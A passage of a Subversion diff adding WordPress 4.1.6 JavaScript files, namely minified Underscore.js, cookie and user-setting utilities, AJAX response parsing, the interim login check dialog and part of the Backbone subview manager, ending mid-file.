E=function(n){return null==n?j.identity:j.isFunction(n)?n:j.property(n)};j.sortBy=function(n,t,r){return t=E(t),j.pluck(j.map(n,function(n,e,u){return{value:n,index:e,criteria:t.call(r,n,e,u)}}).sort(function(n,t){var r=n.criteria,e=t.criteria;if(r!==e){if(r>e||r===void 0)return 1;if(e>r||e===void 0)return-1}return n.index-t.index}),"value")};var F=function(n){return function(t,r,e){var u={};return r=E(r),A(t,function(i,a){var o=r.call(e,i,a,t);n(u,o,i)}),u}};j.groupBy=F(function(n,t,r){j.has(n,t)?n[t].push(r):n[t]=[r]}),j.indexBy=F(function(n,t,r){n[t]=r}),j.countBy=F(function(n,t){j.has(n,t)?n[t]++:n[t]=1}),j.sortedIndex=function(n,t,r,e){r=E(r);for(var u=r.call(e,t),i=0,a=n.length;a>i;){var o=i+a>>>1;r.call(e,n[o])<u?i=o+1:a=o}return i},j.toArray=function(n){return n?j.isArray(n)?o.call(n):n.length===+n.length?j.map(n,j.identity):j.values(n):[]},j.size=function(n){return null==n?0:n.length===+n.length?n.length:j.keys(n).length},j.first=j.head=j.take=function(n,t,r){return null==n?void 0:null==t||r?n[0]:0>t?[]:o.call(n,0,t)},j.initial=function(n,t,r){return o.call(n,0,n.length-(null==t||r?1:t))},j.last=function(n,t,r){return null==n?void 0:null==t||r?n[n.length-1]:o.call(n,Math.max(n.length-t,0))},j.rest=j.tail=j.drop=function(n,t,r){return o.call(n,null==t||r?1:t)},j.compact=function(n){return j.filter(n,j.identity)};var M=function(n,t,r){return t&&j.every(n,j.isArray)?c.apply(r,n):(A(n,function(n){j.isArray(n)||j.isArguments(n)?t?a.apply(r,n):M(n,t,r):r.push(n)}),r)};j.flatten=function(n,t){return M(n,t,[])},j.without=function(n){return j.difference(n,o.call(arguments,1))},j.partition=function(n,t){var r=[],e=[];return A(n,function(n){(t(n)?r:e).push(n)}),[r,e]},j.uniq=j.unique=function(n,t,r,e){j.isFunction(t)&&(e=r,r=t,t=!1);var u=r?j.map(n,r,e):n,i=[],a=[];return A(u,function(r,e){(t?e&&a[a.length-1]===r:j.contains(a,r))||(a.push(r),i.push(n[e]))}),i},j.union=function(){return j.uniq(j.flatten(arguments,!0))},j.intersection=function(n){var t=o.call(arguments,1);return j.filter(j.uniq(n),function(n){return j.every(t,function(t){return j.contains(t,n)})})},j.difference=function(n){var t=c.apply(e,o.call(arguments,1));return j.filter(n,function(n){return!j.contains(t,n)})},j.zip=function(){for(var n=j.max(j.pluck(arguments,"length").concat(0)),t=new Array(n),r=0;n>r;r++)t[r]=j.pluck(arguments,""+r);return t},j.object=function(n,t){if(null==n)return{};for(var r={},e=0,u=n.length;u>e;e++)t?r[n[e]]=t[e]:r[n[e][0]]=n[e][1];return r},j.indexOf=function(n,t,r){if(null==n)return-1;var e=0,u=n.length;if(r){if("number"!=typeof r)return e=j.sortedIndex(n,t),n[e]===t?e:-1;e=0>r?Math.max(0,u+r):r}if(y&&n.indexOf===y)return n.indexOf(t,r);for(;u>e;e++)if(n[e]===t)return e;return-1},j.lastIndexOf=function(n,t,r){if(null==n)return-1;var e=null!=r;if(b&&n.lastIndexOf===b)return e?n.lastIndexOf(t,r):n.lastIndexOf(t);for(var u=e?r:n.length;u--;)if(n[u]===t)return u;return-1},j.range=function(n,t,r){arguments.length<=1&&(t=n||0,n=0),r=arguments[2]||1;for(var e=Math.max(Math.ceil((t-n)/r),0),u=0,i=new Array(e);e>u;)i[u++]=n,n+=r;return i};var R=function(){};j.bind=function(n,t){var r,e;if(_&&n.bind===_)return _.apply(n,o.call(arguments,1));if(!j.isFunction(n))throw new TypeError;return r=o.call(arguments,2),e=function(){if(!(this instanceof e))return n.apply(t,r.concat(o.call(arguments)));R.prototype=n.prototype;var u=new R;R.prototype=null;var i=n.apply(u,r.concat(o.call(arguments)));return Object(i)===i?i:u}},j.partial=function(n){var t=o.call(arguments,1);return function(){for(var r=0,e=t.slice(),u=0,i=e.length;i>u;u++)e[u]===j&&(e[u]=arguments[r++]);for(;r<arguments.length;)e.push(arguments[r++]);return n.apply(this,e)}},j.bindAll=function(n){var t=o.call(arguments,1);if(0===t.length)throw new Error("bindAll must be passed function names");return A(t,function(t){n[t]=j.bind(n[t],n)}),n},j.memoize=function(n,t){var r={};return t||(t=j.identity),function(){var e=t.apply(this,arguments);return j.has(r,e)?r[e]:r[e]=n.apply(this,arguments)}},j.delay=function(n,t){var r=o.call(arguments,2);return setTimeout(function(){return n.apply(null,r)},t)},j.defer=function(n){return j.delay.apply(j,[n,1].concat(o.call(arguments,1)))},j.throttle=function(n,t,r){var e,u,i,a=null,o=0;r||(r={});var c=function(){o=r.leading===!1?0:j.now(),a=null,i=n.apply(e,u),e=u=null};return function(){var l=j.now();o||r.leading!==!1||(o=l);var f=t-(l-o);return e=this,u=arguments,0>=f?(clearTimeout(a),a=null,o=l,i=n.apply(e,u),e=u=null):a||r.trailing===!1||(a=setTimeout(c,f)),i}},j.debounce=function(n,t,r){var e,u,i,a,o,c=function(){var l=j.now()-a;t>l?e=setTimeout(c,t-l):(e=null,r||(o=n.apply(i,u),i=u=null))};return function(){i=this,u=arguments,a=j.now();var l=r&&!e;return e||(e=setTimeout(c,t)),l&&(o=n.apply(i,u),i=u=null),o}},j.once=function(n){var t,r=!1;return function(){return r?t:(r=!0,t=n.apply(this,arguments),n=null,t)}},j.wrap=function(n,t){return j.partial(t,n)},j.compose=function(){var n=arguments;return function(){for(var t=arguments,r=n.length-1;r>=0;r--)t=[n[r].apply(this,t)];return t[0]}},j.after=function(n,t){return function(){return--n<1?t.apply(this,arguments):void 0}},j.keys=function(n){if(!j.isObject(n))return[];if(w)return w(n);var t=[];for(var r in n)j.has(n,r)&&t.push(r);return t},j.values=function(n){for(var t=j.keys(n),r=t.length,e=new Array(r),u=0;r>u;u++)e[u]=n[t[u]];return e},j.pairs=function(n){for(var t=j.keys(n),r=t.length,e=new Array(r),u=0;r>u;u++)e[u]=[t[u],n[t[u]]];return e},j.invert=function(n){for(var t={},r=j.keys(n),e=0,u=r.length;u>e;e++)t[n[r[e]]]=r[e];return t},j.functions=j.methods=function(n){var t=[];for(var r in n)j.isFunction(n[r])&&t.push(r);return t.sort()},j.extend=function(n){return A(o.call(arguments,1),function(t){if(t)for(var r in t)n[r]=t[r]}),n},j.pick=function(n){var t={},r=c.apply(e,o.call(arguments,1));return A(r,function(r){r in n&&(t[r]=n[r])}),t},j.omit=function(n){var t={},r=c.apply(e,o.call(arguments,1));for(var u in n)j.contains(r,u)||(t[u]=n[u]);return t},j.defaults=function(n){return A(o.call(arguments,1),function(t){if(t)for(var r in t)n[r]===void 0&&(n[r]=t[r])}),n},j.clone=function(n){return j.isObject(n)?j.isArray(n)?n.slice():j.extend({},n):n},j.tap=function(n,t){return t(n),n};var S=function(n,t,r,e){if(n===t)return 0!==n||1/n==1/t;if(null==n||null==t)return n===t;n instanceof j&&(n=n._wrapped),t instanceof j&&(t=t._wrapped);var u=l.call(n);if(u!=l.call(t))return!1;switch(u){case"[object String]":return n==String(t);case"[object Number]":return n!=+n?t!=+t:0==n?1/n==1/t:n==+t;case"[object Date]":case"[object Boolean]":return+n==+t;case"[object RegExp]":return n.source==t.source&&n.global==t.global&&n.multiline==t.multiline&&n.ignoreCase==t.ignoreCase}if("object"!=typeof n||"object"!=typeof t)return!1;for(var i=r.length;i--;)if(r[i]==n)return e[i]==t;var a=n.constructor,o=t.constructor;if(a!==o&&!(j.isFunction(a)&&a instanceof a&&j.isFunction(o)&&o instanceof o)&&"constructor"in n&&"constructor"in t)return!1;r.push(n),e.push(t);var c=0,f=!0;if("[object Array]"==u){if(c=n.length,f=c==t.length)for(;c--&&(f=S(n[c],t[c],r,e)););}else{for(var s in n)if(j.has(n,s)&&(c++,!(f=j.has(t,s)&&S(n[s],t[s],r,e))))break;if(f){for(s in t)if(j.has(t,s)&&!c--)break;f=!c}}return r.pop(),e.pop(),f};j.isEqual=function(n,t){return S(n,t,[],[])},j.isEmpty=function(n){if(null==n)return!0;if(j.isArray(n)||j.isString(n))return 0===n.length;for(var t in n)if(j.has(n,t))return!1;return!0},j.isElement=function(n){return!(!n||1!==n.nodeType)},j.isArray=x||function(n){return"[object Array]"==l.call(n)},j.isObject=function(n){return n===Object(n)},A(["Arguments","Function","String","Number","Date","RegExp"],function(n){j["is"+n]=function(t){return l.call(t)=="[object "+n+"]"}}),j.isArguments(arguments)||(j.isArguments=function(n){return!(!n||!j.has(n,"callee"))}),"function"!=typeof/./&&(j.isFunction=function(n){return"function"==typeof n}),j.isFinite=function(n){return isFinite(n)&&!isNaN(parseFloat(n))},j.isNaN=function(n){return j.isNumber(n)&&n!=+n},j.isBoolean=function(n){return n===!0||n===!1||"[object Boolean]"==l.call(n)},j.isNull=function(n){return null===n},j.isUndefined=function(n){return n===void 0},j.has=function(n,t){return f.call(n,t)},j.noConflict=function(){return n._=t,this},j.identity=function(n){return n},j.constant=function(n){return function(){return n}},j.property=function(n){return function(t){return t[n]}},j.matches=function(n){return function(t){if(t===n)return!0;for(var r in n)if(n[r]!==t[r])return!1;return!0}},j.times=function(n,t,r){for(var e=Array(Math.max(0,n)),u=0;n>u;u++)e[u]=t.call(r,u);return e},j.random=function(n,t){return null==t&&(t=n,n=0),n+Math.floor(Math.random()*(t-n+1))},j.now=Date.now||function(){return(new Date).getTime()};var T={escape:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#x27;"}};T.unescape=j.invert(T.escape);var I={escape:new RegExp("["+j.keys(T.escape).join("")+"]","g"),unescape:new RegExp("("+j.keys(T.unescape).join("|")+")","g")};j.each(["escape","unescape"],function(n){j[n]=function(t){return null==t?"":(""+t).replace(I[n],function(t){return T[n][t]})}}),j.result=function(n,t){if(null==n)return void 0;var r=n[t];return j.isFunction(r)?r.call(n):r},j.mixin=function(n){A(j.functions(n),function(t){var r=j[t]=n[t];j.prototype[t]=function(){var n=[this._wrapped];return a.apply(n,arguments),z.call(this,r.apply(j,n))}})};var N=0;j.uniqueId=function(n){var t=++N+"";return n?n+t:t},j.templateSettings={evaluate:/<%([\s\S]+?)%>/g,interpolate:/<%=([\s\S]+?)%>/g,escape:/<%-([\s\S]+?)%>/g};var q=/(.)^/,B={"'":"'","\\":"\\","\r":"r","\n":"n","	":"t","\u2028":"u2028","\u2029":"u2029"},D=/\\|'|\r|\n|\t|\u2028|\u2029/g;j.template=function(n,t,r){var e;r=j.defaults({},r,j.templateSettings);var u=new RegExp([(r.escape||q).source,(r.interpolate||q).source,(r.evaluate||q).source].join("|")+"|$","g"),i=0,a="__p+='";n.replace(u,function(t,r,e,u,o){return a+=n.slice(i,o).replace(D,function(n){return"\\"+B[n]}),r&&(a+="'+\n((__t=("+r+"))==null?'':_.escape(__t))+\n'"),e&&(a+="'+\n((__t=("+e+"))==null?'':__t)+\n'"),u&&(a+="';\n"+u+"\n__p+='"),i=o+t.length,t}),a+="';\n",r.variable||(a="with(obj||{}){\n"+a+"}\n"),a="var __t,__p='',__j=Array.prototype.join,"+"print=function(){__p+=__j.call(arguments,'');};\n"+a+"return __p;\n";try{e=new Function(r.variable||"obj","_",a)}catch(o){throw o.source=a,o}if(t)return e(t,j);var c=function(n){return e.call(this,n,j)};return c.source="function("+(r.variable||"obj")+"){\n"+a+"}",c},j.chain=function(n){return j(n).chain()};var z=function(n){return this._chain?j(n).chain():n};j.mixin(j),A(["pop","push","reverse","shift","sort","splice","unshift"],function(n){var t=e[n];j.prototype[n]=function(){var r=this._wrapped;return t.apply(r,arguments),"shift"!=n&&"splice"!=n||0!==r.length||delete r[0],z.call(this,r)}}),A(["concat","join","slice"],function(n){var t=e[n];j.prototype[n]=function(){return z.call(this,t.apply(this._wrapped,arguments))}}),j.extend(j.prototype,{chain:function(){return this._chain=!0,this},value:function(){return this._wrapped}}),"function"==typeof define&&define.amd&&define("underscore",[],function(){return j})}).call(this);
+//# sourceMappingURL=underscore-min.map
Index: /tags/4.1.6/src/wp-includes/js/utils.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/utils.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/utils.js	(revision 33402)
@@ -0,0 +1,197 @@
+/* global userSettings */
+/* exported getUserSetting, setUserSetting, deleteUserSetting */
+// utility functions
+
+var wpCookies = {
+// The following functions are from Cookie.js class in TinyMCE 3, Moxiecode, used under LGPL.
+
+	each: function( obj, cb, scope ) {
+		var n, l;
+
+		if ( ! obj ) {
+			return 0;
+		}
+
+		scope = scope || obj;
+
+		if ( typeof( obj.length ) !== 'undefined' ) {
+			for ( n = 0, l = obj.length; n < l; n++ ) {
+				if ( cb.call( scope, obj[n], n, obj ) === false ) {
+					return 0;
+				}
+			}
+		} else {
+			for ( n in obj ) {
+				if ( obj.hasOwnProperty(n) ) {
+					if ( cb.call( scope, obj[n], n, obj ) === false ) {
+						return 0;
+					}
+				}
+			}
+		}
+		return 1;
+	},
+
+	/**
+	 * Get a multi-values cookie.
+	 * Returns a JS object with the name: 'value' pairs.
+	 */
+	getHash: function( name ) {
+		var cookie = this.get( name ), values;
+
+		if ( cookie ) {
+			this.each( cookie.split('&'), function( pair ) {
+				pair = pair.split('=');
+				values = values || {};
+				values[pair[0]] = pair[1];
+			});
+		}
+
+		return values;
+	},
+
+	/**
+	 * Set a multi-values cookie.
+	 *
+	 * 'values_obj' is the JS object that is stored. It is encoded as URI in wpCookies.set().
+	 */
+	setHash: function( name, values_obj, expires, path, domain, secure ) {
+		var str = '';
+
+		this.each( values_obj, function( val, key ) {
+			str += ( ! str ? '' : '&' ) + key + '=' + val;
+		});
+
+		this.set( name, str, expires, path, domain, secure );
+	},
+
+	/**
+	 * Get a cookie.
+	 */
+	get: function( name ) {
+		var e, b,
+			cookie = document.cookie,
+			p = name + '=';
+
+		if ( ! cookie ) {
+			return;
+		}
+
+		b = cookie.indexOf( '; ' + p );
+
+		if ( b === -1 ) {
+			b = cookie.indexOf(p);
+
+			if ( b !== 0 ) {
+				return null;
+			}
+		} else {
+			b += 2;
+		}
+
+		e = cookie.indexOf( ';', b );
+
+		if ( e === -1 ) {
+			e = cookie.length;
+		}
+
+		return decodeURIComponent( cookie.substring( b + p.length, e ) );
+	},
+
+	/**
+	 * Set a cookie.
+	 *
+	 * The 'expires' arg can be either a JS Date() object set to the expiration date (back-compat)
+	 * or the number of seconds until expiration
+	 */
+	set: function( name, value, expires, path, domain, secure ) {
+		var d = new Date();
+
+		if ( typeof( expires ) === 'object' && expires.toGMTString ) {
+			expires = expires.toGMTString();
+		} else if ( parseInt( expires, 10 ) ) {
+			d.setTime( d.getTime() + ( parseInt( expires, 10 ) * 1000 ) ); // time must be in miliseconds
+			expires = d.toGMTString();
+		} else {
+			expires = '';
+		}
+
+		document.cookie = name + '=' + encodeURIComponent( value ) +
+			( expires ? '; expires=' + expires : '' ) +
+			( path    ? '; path=' + path       : '' ) +
+			( domain  ? '; domain=' + domain   : '' ) +
+			( secure  ? '; secure'             : '' );
+	},
+
+	/**
+	 * Remove a cookie.
+	 *
+	 * This is done by setting it to an empty value and setting the expiration time in the past.
+	 */
+	remove: function( name, path, domain, secure ) {
+		this.set( name, '', -1000, path, domain, secure );
+	}
+};
+
+// Returns the value as string. Second arg or empty string is returned when value is not set.
+function getUserSetting( name, def ) {
+	var settings = getAllUserSettings();
+
+	if ( settings.hasOwnProperty( name ) ) {
+		return settings[name];
+	}
+
+	if ( typeof def !== 'undefined' ) {
+		return def;
+	}
+
+	return '';
+}
+
+// Both name and value must be only ASCII letters, numbers or underscore
+// and the shorter, the better (cookies can store maximum 4KB). Not suitable to store text.
+// The value is converted and stored as string.
+function setUserSetting( name, value, _del ) {
+	if ( 'object' !== typeof userSettings ) {
+		return false;
+	}
+
+	var uid = userSettings.uid,
+		settings = wpCookies.getHash( 'wp-settings-' + uid ),
+		path = userSettings.url,
+		secure = !! userSettings.secure;
+
+	name = name.toString().replace( /[^A-Za-z0-9_]/, '' );
+
+	if ( typeof value === 'number' ) {
+		value = parseInt( value, 10 );
+	} else {
+		value = value.toString().replace( /[^A-Za-z0-9_]/, '' );
+	}
+
+	settings = settings || {};
+
+	if ( _del ) {
+		delete settings[name];
+	} else {
+		settings[name] = value;
+	}
+
+	wpCookies.setHash( 'wp-settings-' + uid, settings, 31536000, path, '', secure );
+	wpCookies.set( 'wp-settings-time-' + uid, userSettings.time, 31536000, path, '', secure );
+
+	return name;
+}
+
+function deleteUserSetting( name ) {
+	return setUserSetting( name, '', 1 );
+}
+
+// Returns all settings as js object.
+function getAllUserSettings() {
+	if ( 'object' !== typeof userSettings ) {
+		return {};
+	}
+
+	return wpCookies.getHash( 'wp-settings-' + userSettings.uid ) || {};
+}
Index: /tags/4.1.6/src/wp-includes/js/wp-ajax-response.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/wp-ajax-response.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/wp-ajax-response.js	(revision 33402)
@@ -0,0 +1,64 @@
+var wpAjax = jQuery.extend( {
+	unserialize: function( s ) {
+		var r = {}, q, pp, i, p;
+		if ( !s ) { return r; }
+		q = s.split('?'); if ( q[1] ) { s = q[1]; }
+		pp = s.split('&');
+		for ( i in pp ) {
+			if ( jQuery.isFunction(pp.hasOwnProperty) && !pp.hasOwnProperty(i) ) { continue; }
+			p = pp[i].split('=');
+			r[p[0]] = p[1];
+		}
+		return r;
+	},
+	parseAjaxResponse: function( x, r, e ) { // 1 = good, 0 = strange (bad data?), -1 = you lack permission
+		var parsed = {}, re = jQuery('#' + r).html(''), err = '';
+
+		if ( x && typeof x == 'object' && x.getElementsByTagName('wp_ajax') ) {
+			parsed.responses = [];
+			parsed.errors = false;
+			jQuery('response', x).each( function() {
+				var th = jQuery(this), child = jQuery(this.firstChild), response;
+				response = { action: th.attr('action'), what: child.get(0).nodeName, id: child.attr('id'), oldId: child.attr('old_id'), position: child.attr('position') };
+				response.data = jQuery( 'response_data', child ).text();
+				response.supplemental = {};
+				if ( !jQuery( 'supplemental', child ).children().each( function() {
+					response.supplemental[this.nodeName] = jQuery(this).text();
+				} ).size() ) { response.supplemental = false; }
+				response.errors = [];
+				if ( !jQuery('wp_error', child).each( function() {
+					var code = jQuery(this).attr('code'), anError, errorData, formField;
+					anError = { code: code, message: this.firstChild.nodeValue, data: false };
+					errorData = jQuery('wp_error_data[code="' + code + '"]', x);
+					if ( errorData ) { anError.data = errorData.get(); }
+					formField = jQuery( 'form-field', errorData ).text();
+					if ( formField ) { code = formField; }
+					if ( e ) { wpAjax.invalidateForm( jQuery('#' + e + ' :input[name="' + code + '"]' ).parents('.form-field:first') ); }
+					err += '<p>' + anError.message + '</p>';
+					response.errors.push( anError );
+					parsed.errors = true;
+				} ).size() ) { response.errors = false; }
+				parsed.responses.push( response );
+			} );
+			if ( err.length ) { re.html( '<div class="error">' + err + '</div>' ); }
+			return parsed;
+		}
+		if ( isNaN(x) ) { return !re.html('<div class="error"><p>' + x + '</p></div>'); }
+		x = parseInt(x,10);
+		if ( -1 == x ) { return !re.html('<div class="error"><p>' + wpAjax.noPerm + '</p></div>'); }
+		else if ( 0 === x ) { return !re.html('<div class="error"><p>' + wpAjax.broken  + '</p></div>'); }
+		return true;
+	},
+	invalidateForm: function ( selector ) {
+		return jQuery( selector ).addClass( 'form-invalid' ).find('input:visible').change( function() { jQuery(this).closest('.form-invalid').removeClass( 'form-invalid' ); } );
+	},
+	validateForm: function( selector ) {
+		selector = jQuery( selector );
+		return !wpAjax.invalidateForm( selector.find('.form-required').filter( function() { return jQuery('input:visible', this).val() === ''; } ) ).size();
+	}
+}, wpAjax || { noPerm: 'You do not have permission to do that.', broken: 'An unidentified error has occurred.' } );
+
+// Basic form validation
+jQuery(document).ready( function($){
+	$('form.validate').submit( function() { return wpAjax.validateForm( $(this) ); } );
+});
Index: /tags/4.1.6/src/wp-includes/js/wp-auth-check.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/wp-auth-check.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/wp-auth-check.js	(revision 33402)
@@ -0,0 +1,112 @@
+/* global adminpage */
+// Interim login dialog
+(function($){
+	var wrap, next;
+
+	function show() {
+		var parent = $('#wp-auth-check'),
+			form = $('#wp-auth-check-form'),
+			noframe = wrap.find('.wp-auth-fallback-expired'),
+			frame, loaded = false;
+
+		if ( form.length ) {
+			// Add unload confirmation to counter (frame-busting) JS redirects
+			$(window).on( 'beforeunload.wp-auth-check', function(e) {
+				e.originalEvent.returnValue = window.authcheckL10n.beforeunload;
+			});
+
+			frame = $('<iframe id="wp-auth-check-frame" frameborder="0">').attr( 'title', noframe.text() );
+			frame.load( function() {
+				var height, body;
+
+				loaded = true;
+
+				try {
+					body = $(this).contents().find('body');
+					height = body.height();
+				} catch(e) {
+					wrap.addClass('fallback');
+					parent.css( 'max-height', '' );
+					form.remove();
+					noframe.focus();
+					return;
+				}
+
+				if ( height ) {
+					if ( body && body.hasClass('interim-login-success') )
+						hide();
+					else
+						parent.css( 'max-height', height + 40 + 'px' );
+				} else if ( ! body || ! body.length ) {
+					// Catch "silent" iframe origin exceptions in WebKit after another page is loaded in the iframe
+					wrap.addClass('fallback');
+					parent.css( 'max-height', '' );
+					form.remove();
+					noframe.focus();
+				}
+			}).attr( 'src', form.data('src') );
+
+			$('#wp-auth-check-form').append( frame );
+		}
+
+		wrap.removeClass('hidden');
+
+		if ( frame ) {
+			frame.focus();
+			// WebKit doesn't throw an error if the iframe fails to load because of "X-Frame-Options: DENY" header.
+			// Wait for 10 sec. and switch to the fallback text.
+			setTimeout( function() {
+				if ( ! loaded ) {
+					wrap.addClass('fallback');
+					form.remove();
+					noframe.focus();
+				}
+			}, 10000 );
+		} else {
+			noframe.focus();
+		}
+	}
+
+	function hide() {
+		$(window).off( 'beforeunload.wp-auth-check' );
+
+		// When on the Edit Post screen, speed up heartbeat after the user logs in to quickly refresh nonces
+		if ( typeof adminpage !== 'undefined' && ( adminpage === 'post-php' || adminpage === 'post-new-php' ) &&
+			typeof wp !== 'undefined' && wp.heartbeat ) {
+
+			wp.heartbeat.connectNow();
+		}
+
+		wrap.fadeOut( 200, function() {
+			wrap.addClass('hidden').css('display', '');
+			$('#wp-auth-check-frame').remove();
+		});
+	}
+
+	function schedule() {
+		var interval = parseInt( window.authcheckL10n.interval, 10 ) || 180; // in seconds, default 3 min.
+		next = ( new Date() ).getTime() + ( interval * 1000 );
+	}
+
+	$( document ).on( 'heartbeat-tick.wp-auth-check', function( e, data ) {
+		if ( 'wp-auth-check' in data ) {
+			schedule();
+			if ( ! data['wp-auth-check'] && wrap.hasClass('hidden') ) {
+				show();
+			} else if ( data['wp-auth-check'] && ! wrap.hasClass('hidden') ) {
+				hide();
+			}
+		}
+	}).on( 'heartbeat-send.wp-auth-check', function( e, data ) {
+		if ( ( new Date() ).getTime() > next ) {
+			data['wp-auth-check'] = true;
+		}
+	}).ready( function() {
+		schedule();
+		wrap = $('#wp-auth-check-wrap');
+		wrap.find('.wp-auth-check-close').on( 'click', function() {
+			hide();
+		});
+	});
+
+}(jQuery));
Index: /tags/4.1.6/src/wp-includes/js/wp-backbone.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/wp-backbone.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/wp-backbone.js	(revision 33402)
@@ -0,0 +1,386 @@
+window.wp = window.wp || {};
+
+(function ($) {
+	// Create the WordPress Backbone namespace.
+	wp.Backbone = {};
+
+
+	// wp.Backbone.Subviews
+	// --------------------
+	//
+	// A subview manager.
+	wp.Backbone.Subviews = function( view, views ) {
+		this.view = view;
+		this._views = _.isArray( views ) ? { '': views } : views || {};
+	};
+
+	wp.Backbone.Subviews.extend = Backbone.Model.extend;
+
+	_.extend( wp.Backbone.Subviews.prototype, {
+		// ### Fetch all of the subviews
+		//
+		// Returns an array of all subviews.
+		all: function() {
+			return _.flatten( this._views );
+		},
+
+		// ### Get a selector's subviews
+		//
+		// Fetches all subviews that match a given `selector`.
+		//
+		// If no `selector` is provided, it will grab all subviews attached
+		// to the view's root.
+		get: function( selector ) {
+			selector = selector || '';
+			return this._views[ selector ];
+		},
+
+		// ### Get a selector's first subview
+		//
+		// Fetches the first subview that matches a given `selector`.
+		//
+		// If no `selector` is provided, it will grab the first subview
+		// attached to the view's root.
+		//
+		// Useful when a selector only has one subview at a time.
+		first: function( selector ) {
+			var views = this.get( selector );
+			return views && views.length ? views[0] : null;
+		},
+
+		// ### Register subview(s)
+		//
+		// Registers any number of `views` to a `selector`.
+		//
+		// When no `selector` is provided, the root selector (the empty string)
+		// is used. `views` accepts a `Backbone.View` instance or an array of
+		// `Backbone.View` instances.
+		//
+		// ---
+		//
+		// Accepts an `options` object, which has a significant effect on the
+		// resulting behavior.
+		//
+		// `options.silent` &ndash; *boolean, `false`*
+		// > If `options.silent` is true, no DOM modifications will be made.
+		//
+		// `options.add` &ndash; *boolean, `false`*
+		// > Use `Views.add()` as a shortcut for setting `options.add` to true.
+		//
+		// > By default, the provided `views` will replace
+		// any existing views associated with the selector. If `options.add`
+		// is true, the provided `views` will be added to the existing views.
+		//
+		// `options.at` &ndash; *integer, `undefined`*
+		// > When adding, to insert `views` at a specific index, use
+		// `options.at`. By default, `views` are added to the end of the array.
+		set: function( selector, views, options ) {
+			var existing, next;
+
+			if ( ! _.isString( selector ) ) {
+				options  = views;
+				views    = selector;
+				selector = '';
+			}
+
+			options  = options || {};
+			views    = _.isArray( views ) ? views : [ views ];
+			existing = this.get( selector );
+			next     = views;
+
+			if ( existing ) {
+				if ( options.add ) {
+					if ( _.isUndefined( options.at ) ) {
+						next = existing.concat( views );
+					} else {
+						next = existing;
+						next.splice.apply( next, [ options.at, 0 ].concat( views ) );
+					}
+				} else {
+					_.each( next, function( view ) {
+						view.__detach = true;
+					});
+
+					_.each( existing, function( view ) {
+						if ( view.__detach )
+							view.$el.detach();
+						else
+							view.remove();
+					});
+
+					_.each( next, function( view ) {
+						delete view.__detach;
+					});
+				}
+			}
+
+			this._views[ selector ] = next;
+
+			_.each( views, function( subview ) {
+				var constructor = subview.Views || wp.Backbone.Subviews,
+					subviews = subview.views = subview.views || new constructor( subview );
+				subviews.parent   = this.view;
+				subviews.selector = selector;
+			}, this );
+
+			if ( ! options.silent )
+				this._attach( selector, views, _.extend({ ready: this._isReady() }, options ) );
+
+			return this;
+		},
+
+		// ### Add subview(s) to existing subviews
+		//
+		// An alias to `Views.set()`, which defaults `options.add` to true.
+		//
+		// Adds any number of `views` to a `selector`.
+		//
+		// When no `selector` is provided, the root selector (the empty string)
+		// is used. `views` accepts a `Backbone.View` instance or an array of
+		// `Backbone.View` instances.
+		//
+		// Use `Views.set()` when setting `options.add` to `false`.
+		//
+		// Accepts an `options` object. By default, provided `views` will be
+		// inserted at the end of the array of existing views. To insert
+		// `views` at a specific index, use `options.at`. If `options.silent`
+		// is true, no DOM modifications will be made.
+		//
+		// For more information on the `options` object, see `Views.set()`.
+		add: function( selector, views, options ) {
+			if ( ! _.isString( selector ) ) {
+				options  = views;
+				views    = selector;
+				selector = '';
+			}
+
+			return this.set( selector, views, _.extend({ add: true }, options ) );
+		},
+
+		// ### Stop tracking subviews
+		//
+		// Stops tracking `views` registered to a `selector`. If no `views` are
+		// set, then all of the `selector`'s subviews will be unregistered and
+		// removed.
+		//
+		// Accepts an `options` object. If `options.silent` is set, `remove`
+		// will *not* be triggered on the unregistered views.
+		unset: function( selector, views, options ) {
+			var existing;
+
+			if ( ! _.isString( selector ) ) {
+				options = views;
+				views = selector;
+				selector = '';
+			}
+
+			views = views || [];
+
+			if ( existing = this.get( selector ) ) {
+				views = _.isArray( views ) ? views : [ views ];
+				this._views[ selector ] = views.length ? _.difference( existing, views ) : [];
+			}
+
+			if ( ! options || ! options.silent )
+				_.invoke( views, 'remove' );
+
+			return this;
+		},
+
+		// ### Detach all subviews
+		//
+		// Detaches all subviews from the DOM.
+		//
+		// Helps to preserve all subview events when re-rendering the master
+		// view. Used in conjunction with `Views.render()`.
+		detach: function() {
+			$( _.pluck( this.all(), 'el' ) ).detach();
+			return this;
+		},
+
+		// ### Render all subviews
+		//
+		// Renders all subviews. Used in conjunction with `Views.detach()`.
+		render: function() {
+			var options = {
+					ready: this._isReady()
+				};
+
+			_.each( this._views, function( views, selector ) {
+				this._attach( selector, views, options );
+			}, this );
+
+			this.rendered = true;
+			return this;
+		},
+
+		// ### Remove all subviews
+		//
+		// Triggers the `remove()` method on all subviews. Detaches the master
+		// view from its parent. Resets the internals of the views manager.
+		//
+		// Accepts an `options` object. If `options.silent` is set, `unset`
+		// will *not* be triggered on the master view's parent.
+		remove: function( options ) {
+			if ( ! options || ! options.silent ) {
+				if ( this.parent && this.parent.views )
+					this.parent.views.unset( this.selector, this.view, { silent: true });
+				delete this.parent;
+				delete this.selector;
+			}
+
+			_.invoke( this.all(), 'remove' );
+			this._views = [];
+			return this;
+		},
+
+		// ### Replace a selector's subviews
+		//
+		// By default, sets the `$target` selector's html to the subview `els`.
+		//
+		// Can be overridden in subclasses.
+		replace: function( $target, els ) {
+			$target.html( els );
+			return this;
+		},
+
+		// ### Insert subviews into a selector
+		//
+		// By default, appends the subview `els` to the end of the `$target`
+		// selector. If `options.at` is set, inserts the subview `els` at the
+		// provided index.
+		//
+		// Can be overridden in subclasses.
+		insert: function( $target, els, options ) {
+			var at = options && options.at,
+				$children;
+
+			if ( _.isNumber( at ) && ($children = $target.children()).length > at )
+				$children.eq( at ).before( els );
+			else
+				$target.append( els );
+
+			return this;
+		},
+
+		// ### Trigger the ready event
+		//
+		// **Only use this method if you know what you're doing.**
+		// For performance reasons, this method does not check if the view is
+		// actually attached to the DOM. It's taking your word for it.
+		//
